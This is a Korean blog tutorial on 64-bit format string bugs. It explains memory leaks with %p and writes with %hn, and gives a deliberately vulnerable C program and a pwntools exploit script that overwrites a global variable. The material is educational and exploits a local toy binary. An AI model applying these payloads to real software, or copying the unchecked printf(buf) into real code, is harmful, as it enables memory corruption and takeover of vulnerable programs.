참고자료 : JSec님 블로그(blog.naver.com/yjw_sz/221889244689) 32bit FSB 시리즈 : 32bit에서 FSB (Format String Bug) 이해하기 -(1),(2),(3) |
지난 10월... 32bit에서 FSB를 이해했었다. 이제 드디어..! 64bit에서 FSB를 제대로! 이해해보려 한다.(이때까지 문제 푼거는 야매로 문제 푼 것 .. .. ....) 사실 32bit FSB 열심히 공부해놨는데, 정작 문제들은 다 64bit에서의 FSB라서 슬펐다..ㅠ
아무튼~ 시작해 봅시당~
tmi
초반에는 단순 FSB 개념이기 때문에 32bit에서와 겹친다. 하지만 64bit에서의 특별한 FSB 설명도 있을 수도..
64bit 함수 호출 규약
- 함수 호출 규약 : 함수를 호출하는 방식에 대한 약속
- 64bit는 레지스터로 인자를 전달
- 6개의 인자는 레지스터로, 그 이외의 인자는 스택으로...
- RDI, RSI, RDX, RCX, R8, R9
FSB (Format String Bug)
- printf의 인자 개수는 포맷 문자 개수로 결정된다.
- buf의 값을 우리가 마음대로 정할 수 있다면 포맷문자를 넣어버리면 우리가 원하는 값을 출력이 가능하다는 뜻이다.
- BOF가 발생하지 않아도 원하는 값을 출력하고 입력할 수 있다.
예를 들어 인자로 %d만 넣었을 경우 main함수의 영역이 출력될 수도 있다.
사진 상 우측이 FSB 취약점이 발생한 경우이다.
이를 이용하여 main 함수 스택 내용을 모두 노출 시킬 수 있다.
%p 출력
- %p를 통해 메모리를 유출할 수 있고 %[숫자]$p를 통해 [숫자]만큼 떨어져 있는 메모리를 출력이 가능하다.
- 참고로 %p는 포인터의 주소값을 찍어내는 서식 지정자이다.
%p로 메모리 유출
참고
%p와 %x 둘 다 16진수를 찍는데, %p를 더 많이 쓴다고 한다.
왜냐하면 %x는 앞에 0x도 잘 안붙여주고 무조건 4바이트로 출력해준다. 32bit 에서는 상관없겠지만 64bit는 8바이트 체제인데 4바이트만 출력해주면 .. 좀 그렇지 않은가;
참고로 %p는 32bit에서 4바이트, 64bit에서 8바이트로 출력해준다.
%[숫자]$p
- [숫자] 만큼 떨어져 있는 메모리를 출력(유출)이 가능하다.
- 32bit와 다르게 64bit에서는 6개의 인자는 레지스터에 먼저 저장하고, 그 이상의 인자는 스택에 저장시키기 때문에 7번째부터 스택에 저장된다는 특징이 있다.
- 그래서 offset은 6이상이 될 수밖에 없다.
아래 사진은 FSB 취약점을 이용하여 레지스터 및 스택을 출력시킨 결과이다.
입력 값 : 'AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p'
아래 사진은 gdb로 직접 레지스터와 스택 상황을 확인한 모습이다.
FSB 취약점을 이용하여 입력값으로 'AAAAAAAA %p %p ... '를 줘서 출력된 레지스터와 스택상황이 gdb로 직접 확인했을 때와 동일하다.
%n 입력
- 우리는 출력만 해서는 안되고 스택의 값을 변조를 해야 한다.
- 이것은 %n 서식 지정자를 사용하면 가능하다.
- printf 함수의 서식 지정자들은 %n을 제외하고는 전부 인자에 지정된 변수를 읽어 문자열로 출력한다.
- 하지만 %n은 지정된 변수를 읽는 게 아니라 지정된 변수에 %n 전까지 출력된 문자의 개수를 지정된 변수에 10진수 형식으로 쓴다. 한마디로 %n은 출력이 아닌 입력을 하는 포맷 스트링 문자이다.
%n 4바이트
%hn 2바이트
%hhn 1바이트
- %n 앞에 쓰인 바이트 수 만큼 입력을 한다.
%4660c 쓰는 이유는 뭘까?
%n이 앞에 쓰인 바이트 수만큼 입력을 한다고 했었다. 현재 val 변수에는 0x11111111이 들어가 있고, %n에 의해서 4660이라는 값이 val 변수에 들어간다,
그래서 0x1234가 출력이 되는 것이다. (4660 = 0x1234)
예제 1
// fsb64.c
// gcc -o fsb64 fsb64.c -no-pie
#include <stdio.h>
#include <stdint.h>
uint64_t check;
int main(void)
{
char buf[0x100];
read(0, buf, 0x100);
printf(buf); // FSB trigger!
if (check == 0x87654321abcd)
printf("\nNice Try!!\n");
}
"Nice Try!!"를 출력시키는 것이 목표이다.
FSB 취약점을 이용하여 check을 0x87654321abcd로 바꿔줘야 한다.
%p을 통해 (레지스터 및) 스택 구조를 살펴보자..
위에처럼 확인할수도 있고 %[숫자]$p를 이용하여 아래처럼 확인할수도 있다.
(7번째 값부터 스택에 쌓인다는 것을 이용하여 %6$부터 입력하였다.)
아무튼 'AAAAAAAA'가 6번째에 나타남에 따라 offset은 6임을 확인할 수 있다.
exploit코드를 바로 살펴보며 이야기를 해보자.
from pwn import *
p = process('./fsb64')
e = ELF('./fsb64')
# check = 0x601050
check = e.symbols['check']
payload = ''
payload += '%{}c'.format(0xabcd)
payload += '%11$hn'
payload += '%{}c'.format(0x10000 + 0x4321 - 0xabcd)
payload += '%12$hn'
payload += '%{}c'.format(0x8765 - 0x4321)
payload += '%13$hn'
payload += 'A'
payload += p64(check)
payload += p64(check + 2)
payload += p64(check + 4)
p.send(payload)
p.interactive()
'%[숫자]$hn'을 이용하여 6바이트 주소를 2바이트씩 총 세번 써주고 있다.
check 주소에 0x87654321abcd을 써야 한다.
먼저 하위 2바이트 값부터 들어간다.
(주소) (값)
check -> 0xabcd
check+2 -> 0x4321
check+4 -> 0x8765
.format(0x10000 + 0x4321 - 0xabcd)
를 하는 이유는 앞에 쓰인 바이트 길이가 뒤에 쓰는 바이트 길이보다 큰 경우 보수 방식의 계산법을 이용해 값을 넣어야 한다.
0x4321 길이만 넣기 위해...
의문점 1
1. 32bit exploit 할 때는 주소를 제일 앞에 썼는데, 64bit에서는 주소를 뒤에 써준다. 그 이유는 무엇일까?
우리가 원하는 주소에 원하는 값을 쓸 때, 64bit에서는 3byte 주소이기 때문에, 8byte씩 데이터를 넣는 64bit 시스템 기준으로 보면 나머지 5byte가 NULL이된다.
즉, printf의 첫 인자값으로 주소 값이 들어가면, NULL까지 출력(문자열을 출력)을 하는 printf의 특징에 의해 %n, %hn, %hhn 등의 포맷 문자가 동작하지 않는다.
의문점 2
2. 주소를 뒤에 삽입해도 어차피 NULL이 포함되어 있어서 입력한 모든 값이 출력이 안되는건 동일하지 않을까?
문자열을 출력!!할때 NULL에서 끊기는것... 입력은 NULL에서 끊기지 않는다. 따라서 입력한 데이터는 모두 스택에 잘 들어간다.
여기서 우리의 주 목적은 %{}c 와 %hn을 실행시키는 것이다.
따라서 뒤에 넣은 주소를 출력할 때 끊기는 것은 상관이 없다/
의문점 3
3. A를 %13$hn 뒤에 추가하는 이유?
payload = ''
payload += '%{}c'.format(0xabcd)
payload += '%11$hn'
payload += '%{}c'.format(0x10000 + 0x4321 - 0xabcd)
payload += '%12$hn'
payload += '%{}c'.format(0x8765 - 0x4321)
payload += '%13$hn'
payload += 'A'
payload += p64(check)
payload += p64(check + 2)
payload += p64(check + 4)
payload = %43981c%11$hn%38740c%12$hn%17476c%13$hnA + [check] + [check+2] + [check+4]
check = 0x601050
check = 0x601052
check = 0x601054
A를 추가하지 않으면 check에 값을 넣어야 하는데 앞으로 밀려서 이상한 주소에 값이 들어가게 될 것이다,
(A 안넣으면 세폴 뜸)
또한 offset이 6이었는데 왜 11번째에 값을 넣어주는지도 스택 상황을 보고 알 수 있다.
나의 팁은 A까지의 길이를 출력한후
A까지의 payload 길이 / 8 = n
offset이 6이었다고 하면 6+n 번째부터 값을 넣어준다.
참고로 A까지의 payload 길이는 8의 배수임을 알 수 있다.
익스 코드 실행 결과
우리의 목표인 Nice Try!! 문자열 출력시키기 성공~
이렇게 check 변수를 fsb 취약점을 이용하여 마음대로 값을 바꿀 수 있었다.
다음 포스팅에서는 쉘을 실행해보자.
'System Hacking > FSB(Format String Bug)' 카테고리의 다른 글
64bit에서 FSB (Format String Bug) 이해하기 -(3)(완) (1) | 2021.04.22 |
---|---|
64bit에서 FSB (Format String Bug) 이해하기 -(2) (0) | 2021.04.21 |
32bit에서 FSB (Format String Bug) 이해하기 -(3) (완) (2) | 2020.10.10 |
32bit에서 FSB (Format String Bug) 이해하기 -(2) (1) | 2020.10.09 |
32bit에서 FSB (Format String Bug) 이해하기 -(1) (0) | 2020.10.08 |